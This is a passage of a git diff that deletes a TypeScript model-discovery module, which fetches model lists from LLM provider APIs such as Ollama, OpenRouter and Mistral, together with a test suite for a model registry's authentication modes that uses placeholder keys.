assert.equal(models[0]?.provider, testCase.provider); - assert.equal(models[0]?.api, testCase.api); - assert.equal(models[0]?.baseUrl, testCase.baseUrl); - assert.equal(models[0]?.contextWindow, 262144); - assert.equal(models[0]?.maxTokens, 32768); - assert.equal(models[0]?.reasoning, true); - assert.deepEqual(models[0]?.input, ["text", "image"]); - } finally { - globalThis.fetch = originalFetch; - } - } - }); -}); diff --git a/packages/pi-coding-agent/src/core/model-discovery.ts b/packages/pi-coding-agent/src/core/model-discovery.ts deleted file mode 100644 index b8e6fd244..000000000 --- a/packages/pi-coding-agent/src/core/model-discovery.ts +++ /dev/null @@ -1,577 +0,0 @@ -/** - * Model discovery adapters for runtime model enumeration. - * Provider adapters fetch directly from provider APIs; catalog adapters fetch - * from local catalog services such as Singularity Memory. - */ - -export interface DiscoveredModel { - id: string; - provider?: string; - name?: string; - api?: string; - baseUrl?: string; - contextWindow?: number; - maxTokens?: number; - reasoning?: boolean; - input?: ("text" | "image")[]; - cost?: { - input: number; - output: number; - cacheRead: number; - cacheWrite: number; - }; -} - -export interface DiscoveryResult { - provider: string; - sourceType?: DiscoverySourceType; - models: DiscoveredModel[]; - fetchedAt: number; - error?: string; -} - -export type DiscoverySourceType = "provider" | "catalog"; - -export interface ProviderDiscoveryAdapter { - provider: string; - sourceType?: DiscoverySourceType; - supportsDiscovery: boolean; - requiresAuthForDiscovery?: boolean; - fetchModels(apiKey: string, baseUrl?: string): Promise; -} - -/** Per-provider TTLs in milliseconds */ -export const DISCOVERY_TTLS: Record = { - "ollama-cloud": 60 * 60 * 1000, // 1 hour - openrouter: 60 * 60 * 1000, // 1 hour - zai: 60 * 60 * 1000, // 1 hour - minimax: 60 * 60 * 1000, // 1 hour - "kimi-coding": 60 * 60 * 1000, // 1 hour - xiaomi: 60 * 60 * 1000, // 1 hour - mistral: 60 * 60 * 1000, // 1 hour - "singularity-memory": 5 * 60 * 1000, // 5 minutes (local daemon catalog) - default: 24 * 60 * 60 * 1000, // 24 hours -}; - -export function getDefaultTTL(provider: string): number { - return DISCOVERY_TTLS[provider] ?? DISCOVERY_TTLS.default; -} - -async function fetchWithTimeout( - url: string, - options: RequestInit = {}, - timeoutMs = 5000, -): Promise { - const controller = new AbortController(); - const timeout = setTimeout(() => controller.abort(), timeoutMs); - try { - return await fetch(url, { ...options, signal: controller.signal }); - } finally { - clearTimeout(timeout); - } -} - -// ─── Ollama Adapter ────────────────────────────────────────────────────────── - -class OllamaDiscoveryAdapter implements ProviderDiscoveryAdapter { - provider = "ollama"; - supportsDiscovery = false; - - async fetchModels( - _apiKey: string, - baseUrl?: string, - ): Promise { - const url = `${baseUrl ?? "http://localhost:11434"}/api/tags`; - const response = await fetchWithTimeout(url); - - if (!response.ok) { - throw new Error( - `Ollama tags API returned ${response.status}: ${response.statusText}`, - ); - } - - const data = (await response.json()) as { - models: Array<{ - name: string; - size: number; - details?: { parameter_size?: string }; - }>; - }; - - return (data.models ?? []).map((m) => ({ - id: m.name, - name: m.name, - input: ["text" as const], - })); - } -} - -// ─── Ollama Cloud Adapter ──────────────────────────────────────────────────── - -class OllamaCloudDiscoveryAdapter implements ProviderDiscoveryAdapter { - provider = "ollama-cloud"; - supportsDiscovery = true; - requiresAuthForDiscovery = false; - - async fetchModels( - apiKey: string, - baseUrl?: string, - ): Promise { - const root = (baseUrl ?? "https://ollama.com").replace(/\/+$/, ""); - const primaryUrl = - root.endsWith("/v1/models") || root.endsWith("/api/tags") - ? root - : `${root}/v1/models`; - const headers = apiKey ? { Authorization: `Bearer ${apiKey}` } : undefined; - const response = await fetchWithTimeout(primaryUrl, { headers }); - - if (response.ok) { - return this.mapOpenAIModelsResponse(await response.json()); - } - - if (primaryUrl.endsWith("/v1/models")) { - const fallbackUrl = `${root}/api/tags`; - const fallback = await fetchWithTimeout(fallbackUrl, { headers }); - if (fallback.ok) return this.mapTagsResponse(await fallback.json()); - } - - throw new Error( - `Ollama Cloud models API returned ${response.status}: ${response.statusText}`, - ); - } - - private mapOpenAIModelsResponse(data: unknown): DiscoveredModel[] { - const models = (data as { data?: Array<{ id?: string }> }).data ?? []; - return models - .map((m) => m.id) - .filter((id): id is string => typeof id === "string" && id.length > 0) - .map((id) => this.toOpenAICompletionsModel(id)); - } - - private mapTagsResponse(data: unknown): DiscoveredModel[] { - const models = - (data as { models?: Array<{ name?: string; model?: string }> }).models ?? - []; - return models - .map((m) => m.name ?? m.model) - .filter((id): id is string => typeof id === "string" && id.length > 0) - .map((id) => this.toOpenAICompletionsModel(id)); - } - - private toOpenAICompletionsModel(id: string): DiscoveredModel { - return { - id, - name: id, - api: "openai-completions", - baseUrl: "https://ollama.com/v1", - input: ["text" as const], - }; - } -} - -// ─── OpenRouter Adapter ────────────────────────────────────────────────────── - -class OpenRouterDiscoveryAdapter implements ProviderDiscoveryAdapter { - provider = "openrouter"; - supportsDiscovery = true; - requiresAuthForDiscovery = false; - - async fetchModels( - apiKey: string, - baseUrl?: string, - ): Promise { - const root = (baseUrl ?? "https://openrouter.ai").replace(/\/+$/, ""); - const url = root.endsWith("/api/v1") - ? `${root}/models` - : `${root}/api/v1/models`; - const response = await fetchWithTimeout(url, { - headers: apiKey ? { Authorization: `Bearer ${apiKey}` } : undefined, - }); - - if (!response.ok) { - throw new Error( - `OpenRouter models API returned ${response.status}: ${response.statusText}`, - ); - } - - const data = (await response.json()) as { - data: Array<{ - id: string; - name: string; - context_length?: number; - top_provider?: { max_completion_tokens?: number }; - pricing?: { prompt: string; completion: string }; - }>; - }; - - return (data.data ?? []) - .filter((m) => m.id.endsWith(":free")) - .map((m) => { - const cost = - m.pricing?.prompt !== undefined && m.pricing?.completion !== undefined - ? { - input: parseFloat(m.pricing.prompt) * 1_000_000, - output: parseFloat(m.pricing.completion) * 1_000_000, - cacheRead: 0, - cacheWrite: 0, - } - : undefined; - - return { - id: m.id, - name: m.name, - contextWindow: m.context_length, - maxTokens: m.top_provider?.max_completion_tokens, - cost, - input: ["text" as const, "image" as const], - }; - }); - } -} - -// ─── OpenAI-Style Model List Adapters ─────────────────────────────────────── - -interface ProviderListModel { - id?: string; - name?: string; - display_name?: string; - displayName?: string; - context_length?: number; - contextWindow?: number; - context_window?: number; - max_context_length?: number; - inputTokenLimit?: number; - max_tokens?: number; - maxTokens?: number; - outputTokenLimit?: number; - max_output_tokens?: number; - top_provider?: { max_completion_tokens?: number }; - pricing?: { prompt?: string; completion?: string }; - architecture?: { input_modalities?: string[]; output_modalities?: string[] }; - modalities?: { input?: string[]; output?: string[] }; - supported_parameters?: string[]; - reasoning?: boolean; - capabilities?: { - reasoning?: boolean; - vision?: boolean; - completion_chat?: boolean; - }; -} - -interface ModelListAdapterOptions { - provider: string; - discoveryBaseUrl: string; - executionBaseUrl: string; - api: string; -} - -function resolveProviderModelsUrl(baseUrl: string): string { - const root = baseUrl.replace(/\/+$/, ""); - if (root.endsWith("/models")) return root; - if (root.endsWith("/v1") || root.endsWith("/v4")) return `${root}/models`; - return `${root}/v1/models`; -} - -function hasImageInput(model: ProviderListModel): boolean { - const architectureInput = model.architecture?.input_modalities ?? []; - const modalityInput = model.modalities?.input ?? []; - return ( - architectureInput.includes("image") || - modalityInput.includes("image") || - model.capabilities?.vision === true - ); -} - -function modelReasoning(model: ProviderListModel): boolean | undefined { - if (typeof model.reasoning === "boolean") return model.reasoning; - if (typeof model.capabilities?.reasoning === "boolean") { - return model.capabilities.reasoning; - } - if (model.supported_parameters?.includes("reasoning")) return true; - if (model.supported_parameters?.includes("thinking")) return true; - return undefined; -} - -function modelContextWindow(model: ProviderListModel): number | undefined { - return ( - model.context_length ?? - model.contextWindow ?? - model.context_window ?? - model.max_context_length ?? - model.inputTokenLimit - ); -} - -function modelMaxTokens(model: ProviderListModel): number | undefined { - return ( - model.max_output_tokens ?? - model.maxTokens ?? - model.max_tokens ?? - model.outputTokenLimit ?? - model.top_provider?.max_completion_tokens - ); -} - -class ProviderModelListAdapter implements ProviderDiscoveryAdapter { - provider: string; - supportsDiscovery = true; - private readonly discoveryBaseUrl: string; - private readonly executionBaseUrl: string; - private readonly api: string; - - constructor(options: ModelListAdapterOptions) { - this.provider = options.provider; - this.discoveryBaseUrl = options.discoveryBaseUrl; - this.executionBaseUrl = options.executionBaseUrl; - this.api = options.api; - } - - async fetchModels( - apiKey: string, - baseUrl?: string, - ): Promise { - const url = resolveProviderModelsUrl(baseUrl ?? this.discoveryBaseUrl); - const response = await fetchWithTimeout(url, { - headers: { Authorization: `Bearer ${apiKey}` }, - }); - - if (!response.ok) { - throw new Error( - `${this.provider} models API returned ${response.status}: ${response.statusText}`, - ); - } - - const data = (await response.json()) as { - data?: ProviderListModel[]; - models?: ProviderListModel[]; - }; - const rows = data.data ?? data.models ?? []; - return rows - .map((m) => ({ ...m, id: m.id ?? m.name })) - .filter( - (m): m is ProviderListModel & { id: string } => - typeof m.id === "string" && m.id.length > 0, - ) - .map((m) => ({ - id: m.id, - name: m.display_name ?? m.displayName ?? m.name ?? m.id, - provider: this.provider, - api: this.api, - baseUrl: this.executionBaseUrl, - contextWindow: modelContextWindow(m), - maxTokens: modelMaxTokens(m), - reasoning: modelReasoning(m), - input: hasImageInput(m) ? ["text", "image"] : ["text"], - cost: - m.pricing?.prompt !== undefined || m.pricing?.completion !== undefined - ? { - input: parseOpenRouterPricePer1M(m.pricing?.prompt), - output: parseOpenRouterPricePer1M(m.pricing?.completion), - cacheRead: 0, - cacheWrite: 0, - } - : undefined, - })); - } -} - -// ─── Singularity Memory Adapter ───────────────────────────────────────────── - -interface OpenRouterStyleModel { - id: string; - name?: string; - canonical_slug?: string; - context_length?: number; - pricing?: { prompt?: string; completion?: string }; - top_provider?: { max_completion_tokens?: number }; - architecture?: { input_modalities?: string[]; output_modalities?: string[] }; - supported_parameters?: string[]; - provider?: string; - api?: string; - baseUrl?: string; - base_url?: string; - x_singularity?: { - provider?: string; - subprovider?: string; - wire_model_id?: string; - api?: string; - baseUrl?: string; - base_url?: string; - reasoning?: boolean; - max_tokens?: number; - }; -} - -function resolveSingularityMemoryModelsUrl(baseUrl?: string): string { - const root = ( - baseUrl || - process.env.SINGULARITY_MEMORY_URL || - process.env.SF_MODEL_CATALOG_URL || - "http://127.0.0.1:8888" - ).replace(/\/+$/, ""); - if (root.endsWith("/v1/models")) return root; - if (root.endsWith("/v1")) return `${root}/models`; - return `${root}/v1/models`; -} - -function parseOpenRouterPricePer1M(value: string | undefined): number { - if (value === undefined) return 0; - const parsed = Number.parseFloat(value); - return Number.isFinite(parsed) - ? Math.round(parsed * 1_000_000 * 1_000_000) / 1_000_000 - : 0; -} - -function stripProviderPrefix( - modelID: string, - provider: string | undefined, -): string { - if (!provider) return modelID; - const prefix = `${provider}/`.toLowerCase(); - return modelID.toLowerCase().startsWith(prefix) - ? modelID.slice(provider.length + 1) - : modelID; -} - -class SingularityMemoryDiscoveryAdapter implements ProviderDiscoveryAdapter { - provider = "singularity-memory"; - sourceType = "catalog" as const; - supportsDiscovery = true; - requiresAuthForDiscovery = false; - - async fetchModels( - apiKey: string, - baseUrl?: string, - ): Promise { - const response = await fetchWithTimeout( - resolveSingularityMemoryModelsUrl(baseUrl), - { - headers: apiKey ? { Authorization: `Bearer ${apiKey}` } : undefined, - }, - ); - - if (!response.ok) { - throw new Error( - `Singularity Memory models API returned ${response.status}: ${response.statusText}`, - ); - } - - const data = (await response.json()) as { data?: OpenRouterStyleModel[] }; - return (data.data ?? []).map((m) => { - const provider = m.x_singularity?.provider ?? m.provider; - const modelID = - m.x_singularity?.wire_model_id ?? stripProviderPrefix(m.id, provider); - const inputModalities = m.architecture?.input_modalities ?? []; - const input: ("text" | "image")[] = inputModalities.includes("image") - ? ["text", "image"] - : ["text"]; - - return { - id: modelID, - name: m.name ?? m.canonical_slug ?? m.id, - provider, - api: m.x_singularity?.api ?? m.api, - baseUrl: - m.x_singularity?.baseUrl ?? - m.x_singularity?.base_url ?? - m.baseUrl ?? - m.base_url, - contextWindow: m.context_length, - maxTokens: - m.x_singularity?.max_tokens ?? m.top_provider?.max_completion_tokens, - reasoning: - m.x_singularity?.reasoning ?? - m.supported_parameters?.includes("reasoning"), - input, - cost: { - input: parseOpenRouterPricePer1M(m.pricing?.prompt), - output: parseOpenRouterPricePer1M(m.pricing?.completion), - cacheRead: 0, - cacheWrite: 0, - }, - }; - }); - } -} - -// ─── Static Adapter (no discovery) ─────────────────────────────────────────── - -class StaticDiscoveryAdapter implements ProviderDiscoveryAdapter { - provider: string; - supportsDiscovery = false; - - constructor(provider: string) { - this.provider = provider; - } - - async fetchModels(): Promise { - return []; - } -} - -// ─── Registry ──────────────────────────────────────────────────────────────── - -const adapters: Record = { - openai: new StaticDiscoveryAdapter("openai"), - ollama: new OllamaDiscoveryAdapter(), - "ollama-cloud": new OllamaCloudDiscoveryAdapter(), - openrouter: new OpenRouterDiscoveryAdapter(), - zai: new ProviderModelListAdapter({ - provider: "zai", - discoveryBaseUrl: "https://api.z.ai/api/coding/paas/v4", - executionBaseUrl: "https://api.z.ai/api/coding/paas/v4", - api: "openai-completions", - }), - minimax: new ProviderModelListAdapter({ - provider: "minimax", - discoveryBaseUrl: "https://api.minimax.io/anthropic/v1", - executionBaseUrl: "https://api.minimax.io/anthropic", - api: "anthropic-messages", - }), - "kimi-coding": new StaticDiscoveryAdapter("kimi-coding"), - xiaomi: new ProviderModelListAdapter({ - provider: "xiaomi", - discoveryBaseUrl: "https://token-plan-ams.xiaomimimo.com", - executionBaseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - api: "anthropic-messages", - }), - mistral: new ProviderModelListAdapter({ - provider: "mistral", - discoveryBaseUrl: "https://api.mistral.ai/v1", - executionBaseUrl: "https://api.mistral.ai", - api: "mistral-conversations", - }), - "singularity-memory": new SingularityMemoryDiscoveryAdapter(), - anthropic: new StaticDiscoveryAdapter("anthropic"), - bedrock: new StaticDiscoveryAdapter("bedrock"), - "azure-openai": new StaticDiscoveryAdapter("azure-openai"), - groq: new StaticDiscoveryAdapter("groq"), - cerebras: new StaticDiscoveryAdapter("cerebras"), - xai: new StaticDiscoveryAdapter("xai"), - google: new StaticDiscoveryAdapter("google"), -}; - -export function getDiscoveryAdapter( - provider: string, -): ProviderDiscoveryAdapter { - return adapters[provider] ?? new StaticDiscoveryAdapter(provider); -} - -export function getDiscoverableProviders(): string[] { - return Object.entries(adapters) - .filter( - ([, adapter]) => - adapter.supportsDiscovery && - (adapter.sourceType ?? "provider") === "provider", - ) - .map(([name]) => name); -} - -export function getDiscoverableCatalogSources(): string[] { - return Object.entries(adapters) - .filter( - ([, adapter]) => - adapter.supportsDiscovery && adapter.sourceType === "catalog", - ) - .map(([name]) => name); -} diff --git a/packages/pi-coding-agent/src/core/model-registry-auth-mode.test.ts b/packages/pi-coding-agent/src/core/model-registry-auth-mode.test.ts deleted file mode 100644 index cad56cacd..000000000 --- a/packages/pi-coding-agent/src/core/model-registry-auth-mode.test.ts +++ /dev/null @@ -1,914 +0,0 @@ -import assert from "node:assert/strict"; -import type { - Api, - AssistantMessageEventStream, - Context, - Model, - SimpleStreamOptions, -} from "@singularity-forge/pi-ai"; -import { getApiProvider } from "@singularity-forge/pi-ai"; -import { describe, it } from "vitest"; -import { AuthStorage, type AuthStorageData } from "./auth-storage.js"; -import { ModelRegistry } from "./model-registry.js"; -import { type Settings, SettingsManager } from "./settings-manager.js"; - -function createRegistry( - hasAuthFn?: (provider: string) => boolean, -): ModelRegistry { - const authStorage = { - setFallbackResolver: () => {}, - onCredentialChange: () => {}, - getOAuthProviders: () => [], - get: () => undefined, - hasAuth: hasAuthFn ?? (() => false), - getApiKey: async () => undefined, - } as unknown as AuthStorage; - - return new ModelRegistry(authStorage, undefined); -} - -function createInMemoryRegistry(data: AuthStorageData = {}): ModelRegistry { - return new ModelRegistry(AuthStorage.inMemory(data), undefined); -} - -function createRegistryWithSettings( - settings: Partial, - data: AuthStorageData = {}, -): ModelRegistry { - return new ModelRegistry( - AuthStorage.inMemory(data), - undefined, - SettingsManager.inMemory(settings), - ); -} - -function createProviderModel( - id: string, - api?: string, -): NonNullable< - Parameters[1]["models"] ->[number] { - return { - id, - name: id, - api: (api ?? "openai-completions") as Api, - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - }; -} - -function findModel( - registry: ModelRegistry, - provider: string, - id: string, -): Model | undefined { - return registry - .getAvailable() - .find((m) => m.provider === provider && m.id === id); -} - -function makeModel(provider: string, id: string, api: string): Model { - return { - id, - name: id, - api: api as Api, - provider, - baseUrl: `${provider}:`, - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - }; -} - -function makeContext(): Context { - return { - systemPrompt: "test", - messages: [{ role: "user", content: "hello", timestamp: Date.now() }], - }; -} - -/** No-op streamSimple for tests that need one to pass validation but don't inspect it. */ -const noopStreamSimple = ( - _model: Model, - _context: Context, - _options?: SimpleStreamOptions, -) => { - return { - [Symbol.asyncIterator]() { - return { next: async () => ({ value: undefined, done: true as const }) }; - }, - result: () => - Promise.resolve({ - role: "assistant" as const, - content: [], - api: "test" as Api, - provider: "test", - model: "test", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop" as const, - timestamp: Date.now(), - }), - push: () => {}, - end: () => {}, - } as unknown as AssistantMessageEventStream; -}; - -/** Create a spy streamSimple that captures the options it receives and returns a stub stream. */ -function createStreamSpy(): { - streamSimple: ( - model: Model, - context: Context, - options?: SimpleStreamOptions, - ) => AssistantMessageEventStream; - getCapturedOptions: () => SimpleStreamOptions | undefined; -} { - let capturedOptions: SimpleStreamOptions | undefined; - const streamSimple = ( - _model: Model, - _context: Context, - options?: SimpleStreamOptions, - ) => { - capturedOptions = options; - // Return a minimal stub that satisfies AssistantMessageEventStream - return { - [Symbol.asyncIterator]() { - return { - next: async () => ({ value: undefined, done: true as const }), - }; - }, - result: () => - Promise.resolve({ - role: "assistant" as const, - content: [], - api: "test" as Api, - provider: "test", - model: "test", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, - }, - stopReason: "stop" as const, - timestamp: Date.now(), - }), - push: () => {}, - end: () => {}, - } as unknown as AssistantMessageEventStream; - }; - return { streamSimple, getCapturedOptions: () => capturedOptions }; -} - -// ─── Registration ───────────────────────────────────────────────────────────── - -describe("ModelRegistry authMode — registration", () => { - it("registers externalCli provider with streamSimple and without apiKey/oauth", () => { - const registry = createRegistry(); - const spy = createStreamSpy(); - assert.doesNotThrow(() => { - registry.registerProvider("cli-provider", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: "openai-completions", - streamSimple: spy.streamSimple, - models: [createProviderModel("cli-model")], - }); - }); - }); - - it("registers none provider with streamSimple and without apiKey/oauth", () => { - const registry = createRegistry(); - const spy = createStreamSpy(); - assert.doesNotThrow(() => { - registry.registerProvider("none-provider", { - authMode: "none", - baseUrl: "http://localhost:11434", - api: "openai-completions", - streamSimple: spy.streamSimple, - models: [createProviderModel("local-model")], - }); - }); - }); - - it("rejects apiKey provider without apiKey or oauth — message mentions authMode", () => { - const registry = createRegistry(); - assert.throws( - () => { - registry.registerProvider("apikey-provider", { - authMode: "apiKey", - baseUrl: "https://api.local", - api: "openai-completions", - models: [createProviderModel("model")], - }); - }, - (err: Error) => { - assert.ok( - err.message.includes("authMode"), - "error message must mention authMode", - ); - assert.ok( - err.message.includes("externalCli"), - "error message must suggest externalCli", - ); - return true; - }, - ); - }); - - it("rejects provider with no authMode and no apiKey/oauth (defaults to apiKey)", () => { - const registry = createRegistry(); - assert.throws( - () => { - registry.registerProvider("bare-provider", { - baseUrl: "https://api.local", - api: "openai-completions", - models: [createProviderModel("model")], - }); - }, - (err: Error) => { - assert.ok( - err.message.includes("authMode"), - "error message must mention authMode", - ); - return true; - }, - ); - }); - - it("rejects externalCli provider without streamSimple", () => { - const registry = createRegistry(); - assert.throws( - () => { - registry.registerProvider("cli-no-stream", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: "openai-completions", - models: [createProviderModel("model")], - }); - }, - (err: Error) => { - assert.ok( - err.message.includes("streamSimple"), - "error message must mention streamSimple", - ); - assert.ok( - err.message.includes("externalCli"), - "error message must mention authMode", - ); - return true; - }, - ); - }); - - it("rejects none provider without streamSimple", () => { - const registry = createRegistry(); - assert.throws( - () => { - registry.registerProvider("none-no-stream", { - authMode: "none", - baseUrl: "http://localhost:11434", - api: "openai-completions", - models: [createProviderModel("model")], - }); - }, - (err: Error) => { - assert.ok( - err.message.includes("streamSimple"), - "error message must mention streamSimple", - ); - assert.ok( - err.message.includes("none"), - "error message must mention authMode", - ); - return true; - }, - ); - }); - - it("rejects externalCli provider that also sets apiKey", () => { - const registry = createRegistry(); - const spy = createStreamSpy(); - assert.throws( - () => { - registry.registerProvider("cli-with-key", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: "openai-completions", - apiKey: "SHOULD_NOT_EXIST", - streamSimple: spy.streamSimple, - models: [createProviderModel("model")], - }); - }, - (err: Error) => { - assert.ok( - err.message.includes("apiKey"), - "error message must mention apiKey", - ); - assert.ok( - err.message.includes("externalCli"), - "error message must mention authMode", - ); - return true; - }, - ); - }); - - it("rejects none provider that also sets apiKey", () => { - const registry = createRegistry(); - const spy = createStreamSpy(); - assert.throws( - () => { - registry.registerProvider("none-with-key", { - authMode: "none", - baseUrl: "http://localhost:11434", - api: "openai-completions", - apiKey: "SHOULD_NOT_EXIST", - streamSimple: spy.streamSimple, - models: [createProviderModel("model")], - }); - }, - (err: Error) => { - assert.ok( - err.message.includes("apiKey"), - "error message must mention apiKey", - ); - assert.ok( - err.message.includes("none"), - "error message must mention authMode", - ); - return true; - }, - ); - }); -}); - -// ─── getProviderAuthMode ────────────────────────────────────────────────────── - -describe("ModelRegistry authMode — getProviderAuthMode", () => { - it("returns apiKey for unregistered (built-in) providers", () => { - const registry = createRegistry(); - assert.equal(registry.getProviderAuthMode("anthropic"), "apiKey"); - }); - - it("treats google-gemini-cli as external CLI auth", () => { - const registry = createRegistry(); - assert.equal( - registry.getProviderAuthMode("google-gemini-cli"), - "externalCli", - ); - }); - - it("returns explicit authMode when set", () => { - const registry = createRegistry(); - registry.registerProvider("cli", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: "openai-completions", - streamSimple: noopStreamSimple, - models: [createProviderModel("m")], - }); - assert.equal(registry.getProviderAuthMode("cli"), "externalCli"); - }); - - it("returns none when authMode is none", () => { - const registry = createRegistry(); - registry.registerProvider("local", { - authMode: "none", - baseUrl: "http://localhost:11434", - api: "openai-completions", - streamSimple: noopStreamSimple, - models: [createProviderModel("m")], - }); - assert.equal(registry.getProviderAuthMode("local"), "none"); - }); -}); - -// ─── isProviderRequestReady ─────────────────────────────────────────────────── - -describe("ModelRegistry authMode — isProviderRequestReady", () => { - it("returns true for google-gemini-cli without .sf stored auth", () => { - const registry = createRegistry(() => false); - assert.equal(registry.isProviderRequestReady("google-gemini-cli"), true); - }); - - it("returns true for externalCli without stored auth", () => { - const registry = createRegistry(() => false); - registry.registerProvider("cli", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: "openai-completions", - streamSimple: noopStreamSimple, - models: [createProviderModel("m")], - }); - assert.equal(registry.isProviderRequestReady("cli"), true); - }); - - it("returns true for none without stored auth", () => { - const registry = createRegistry(() => false); - registry.registerProvider("local", { - authMode: "none", - baseUrl: "http://localhost:11434", - api: "openai-completions", - streamSimple: noopStreamSimple, - models: [createProviderModel("m")], - }); - assert.equal(registry.isProviderRequestReady("local"), true); - }); - - it("returns false for apiKey provider without stored auth", () => { - const registry = createRegistry(() => false); - assert.equal(registry.isProviderRequestReady("anthropic"), false); - }); - - it("returns true for apiKey provider with stored auth", () => { - const registry = createRegistry(() => true); - assert.equal(registry.isProviderRequestReady("anthropic"), true); - }); -}); - -// ─── isReady callback ───────────────────────────────────────────────────────── - -describe("ModelRegistry authMode — isReady callback", () => { - it("calls isReady and returns its result for externalCli provider", () => { - const registry = createRegistry(() => false); - registry.registerProvider("cli-down", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: "openai-completions", - streamSimple: noopStreamSimple, - isReady: () => false, - models: [createProviderModel("m")], - }); - assert.equal(registry.isProviderRequestReady("cli-down"), false); - }); - - it("calls isReady for apiKey provider (overrides hasAuth)", () => { - const registry = createRegistry(() => true); - registry.registerProvider("strict-provider", { - apiKey: "MY_KEY", - baseUrl: "https://api.local", - api: "openai-completions", - isReady: () => false, - models: [createProviderModel("m")], - }); - assert.equal(registry.isProviderRequestReady("strict-provider"), false); - }); - - it("isReady returning true makes provider available", () => { - const registry = createRegistry(() => false); - registry.registerProvider("healthy-cli", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: "openai-completions", - streamSimple: noopStreamSimple, - isReady: () => true, - models: [createProviderModel("m")], - }); - assert.equal(registry.isProviderRequestReady("healthy-cli"), true); - }); - - it("falls through to default behavior when isReady not provided", () => { - const registry = createRegistry(() => false); - registry.registerProvider("no-callback", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: "openai-completions", - streamSimple: noopStreamSimple, - models: [createProviderModel("m")], - }); - // externalCli without isReady → true (default) - assert.equal(registry.isProviderRequestReady("no-callback"), true); - }); -}); - -// ─── getAvailable ───────────────────────────────────────────────────────────── - -describe("ModelRegistry authMode — getAvailable", () => { - it("includes externalCli models without stored auth", () => { - const registry = createRegistry(() => false); - registry.registerProvider("cli", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: "openai-completions", - streamSimple: noopStreamSimple, - models: [createProviderModel("cli-model")], - }); - assert.ok(findModel(registry, "cli", "cli-model")); - }); - - it("includes none models without stored auth", () => { - const registry = createRegistry(() => false); - registry.registerProvider("local", { - authMode: "none", - baseUrl: "http://localhost:11434", - api: "openai-completions", - streamSimple: noopStreamSimple, - models: [createProviderModel("local-model")], - }); - assert.ok(findModel(registry, "local", "local-model")); - }); - - it("excludes externalCli models when isReady returns false", () => { - const registry = createRegistry(() => false); - registry.registerProvider("cli-down", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: "openai-completions", - streamSimple: noopStreamSimple, - isReady: () => false, - models: [createProviderModel("m")], - }); - assert.equal(findModel(registry, "cli-down", "m"), undefined); - }); - - it("excludes apiKey models without stored auth", () => { - const registry = createRegistry(() => false); - const available = registry.getAvailable(); - assert.equal( - available.filter((m) => m.provider !== "google-gemini-cli").length, - 0, - ); - }); - - it("prunes Codex models removed from ChatGPT-backed openai-codex OAuth", () => { - const registry = createInMemoryRegistry({ - "openai-codex": { - type: "oauth", - access: "oauth-access", - refresh: "oauth-refresh", - expires: Date.now() + 60_000, - accountId: "acct_123", - }, - }); - - assert.equal(registry.find("openai-codex", "gpt-5.1-codex-max"), undefined); - assert.equal(registry.find("openai-codex", "gpt-5.1"), undefined); - assert.equal( - findModel(registry, "openai-codex", "gpt-5.2-codex"), - undefined, - ); - assert.ok(registry.find("openai-codex", "gpt-5.4")); - assert.ok(findModel(registry, "openai-codex", "gpt-5.4")); - }); - - it("keeps API-backed OpenAI Codex-capable models available", () => { - const registry = createInMemoryRegistry({ - openai: { - type: "api_key", - key: "sk-test", - }, - }); - - assert.ok(registry.find("openai", "gpt-5.2-codex")); - assert.ok(findModel(registry, "openai", "gpt-5.2-codex")); - }); -}); - -// ─── getApiKey ──────────────────────────────────────────────────────────────── - -describe("ModelRegistry authMode — getApiKey", () => { - it("returns undefined for google-gemini-cli even when stale .sf auth exists", async () => { - const registry = createInMemoryRegistry({ - "google-gemini-cli": { - type: "oauth", - access: "", - refresh: "", - expires: 0, - }, - }); - - assert.equal( - await registry.getApiKeyForProvider("google-gemini-cli"), - undefined, - ); - }); - - it("returns undefined for externalCli provider", async () => { - const registry = createRegistry(); - registry.registerProvider("cli", { - authMode: "externalCli", - baseUrl: "https://cli.local", - api: "openai-completions", - streamSimple: noopStreamSimple, - models: [createProviderModel("m")], - }); - const model = registry.getAll().find((m) => m.provider === "cli")!; - assert.equal(await registry.getApiKey(model), undefined); - }); - - it("returns undefined for none provider", async () => { - const registry = createRegistry(); - registry.registerProvider("local", { - authMode: "none", - baseUrl: "http://localhost:11434", - api: "openai-completions", - streamSimple: noopStreamSimple, - models: [createProviderModel("m")], - }); - const model = registry.getAll().find((m) => m.provider === "local")!; - assert.equal(await registry.getApiKey(model), undefined); - }); - - it("delegates to authStorage for apiKey provider", async () => { - const registry = createRegistry(); - const key = await registry.getApiKeyForProvider("anthropic"); - assert.equal(key, undefined); - }); -}); - -describe("ModelRegistry availability — disabled config", () => { - it("excludes disabled providers from available models", () => { - const registry = createRegistryWithSettings( - { disabledProviders: ["anthropic"] }, - { anthropic: { type: "api_key", key: "sk-ant" } }, - ); - - assert.equal(registry.isProviderRequestReady("anthropic"), false); - assert.equal( - findModel(registry, "anthropic", "claude-sonnet-4.5"), - undefined, - ); - }); - - it("excludes disabled models while keeping the provider available", () => { - const registry = createRegistryWithSettings( - { disabledModels: ["anthropic/claude-sonnet-4.5"] }, - { anthropic: { type: "api_key", key: "sk-ant" } }, - ); - - assert.equal(registry.isProviderRequestReady("anthropic"), true); - assert.equal( - findModel(registry, "anthropic", "claude-sonnet-4.5"), - undefined, - ); - assert.ok(findModel(registry, "anthropic", "claude-3-7-sonnet-20250219")); - }); -}); - -// ─── streamSimple apiKey stripping ──────────────────────────────────────────── - 